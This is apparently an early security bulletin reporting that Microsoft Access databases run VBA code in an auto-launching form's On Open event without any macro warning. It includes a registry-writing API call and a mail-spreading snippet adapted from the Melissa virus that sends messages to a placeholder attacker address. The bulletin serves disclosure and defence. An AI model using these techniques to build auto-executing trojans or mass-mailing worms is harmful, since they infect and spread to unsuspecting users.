Microsoft Access VBA Trojan: The overlooked "Macro Virus"
--------------------------------------------------------------------------------

SUMMARY

Microsoft Access Databases do not have macro execution protection in the
sense that Word, Excel and Powerpoint documents have. Attackers can insert
Trojan within a VBA macro code into MS Access documents, and this will
execute arbitrary commands on the remote machine when the document is
opened (without warning).

DETAILS

There has been much publicity surrounding the Trojan/Virus capabilities of
Microsoft Office applications which enable macro execution options.

The use of these Trojans should subside now that Microsoft has implemented
more stringent security options into the Office 2000 suite. Specifically,
under Tools|Macro|Security there are three security levels: High, Medium
and Low (not recommended). The "High security" setting is the default
option for Word, Excel, and Powerpoint. This setting states that "Only
signed macros from trusted sources will be allowed to run. Unsigned macros
are automatically disabled." Bye, bye Melissa. Thanx, Microsoft.

The Office 2000 suite uses Visual Basic for Applications (VBA) as it's
application-portable programming language. When a user records a macro in
Word, Excel or Powerpoint, the actions are translated into VBA code. The
subsequent VBA code sequence is then termed a macro, and afforded the
protections of the security settings listed above.

Issue:
Access, however, uses VBA as an integral part of forms presentation and
processing which is in turn an integral part of a stand-alone Access
application. You turn off VBA, Access is neither shiny nor happy.

An attacker can craft an MS Access database with a single form which
auto-launches. When the database is opened, the form is presented
automagically. Within the properties of the form, the "On Open" property
(default sub of Form_Open) can contain VBA code.

This is how it happens:

Double click on an mdb file,
        Open Database
        Show Form
        Execute VBA code

The user simply opens the document, and the code is launched.

What can VBA do to me?
Bad VBA code has been talked about in several previous articles. For
example, the VBA.Interaction.Shell command which executes a command on the
local system is a quick and dirty payload, especially when coupled to the
"regedit /s" command which would allow an attacker to create a .reg file,
and import it into the registry.

A cleaner way uses the API functions Reg*Ex in advapi32.dll to perform
direct registry IO without taking the time to upload a .reg file. These
functions can simply be defined along with the hideous necesary constants
inside the VBA code.

In addition, an attacker can follow in the footsteps of Melissa et al and
use the VBA.Interaction.CreateObject call to create an MS Outlook instance
which sends trojan email to every address in the addressbook.

Examples:

rc = RegCreateKeyEx(HKEY_CURRENT_USER, "attacker@example.com", 0, "",
_REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition)

This line will create a key under HKEY_CURRENT_USER called
"attacker@example.com".

In honor of Kwyjibo, we can use the VBA.Interaction.CreateObject method to
spread like wildfire thanks to MS Outlook:

---Snip from Melissa---
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

  If UngaDasOutlook = "Outlook" Then
       DasMapiName.Logon "profile", "password"

   Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
       BreakUmOffASlice.Recipients.Add "attacker@example.com"
       BreakUmOffASlice.Subject = "Important Message From " &
Application.CurrentUser
       BreakUmOffASlice.Send

       DasMapiName.Logoff
---snip---

Access doesn't implement the System library like MS Word does. Hence, the
System.[doregistrystuff] calls won't work here. The system calls can be
replaced with just about any API you care to 'Define' in the VBA code.
Other VBA libraries such as the Application library shown above may prove
as suitable replacements.

Conclusion:
Microsoft has certainly taken strides to protect against application
trojans within the Office 2000 suite. However, MS Access would have to be
gutted and fileted in order to follow the same security measures. In the
mean time, be sure not to trust every MS Access database you stumble
across in your inbox unless you're certain of its origin.

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.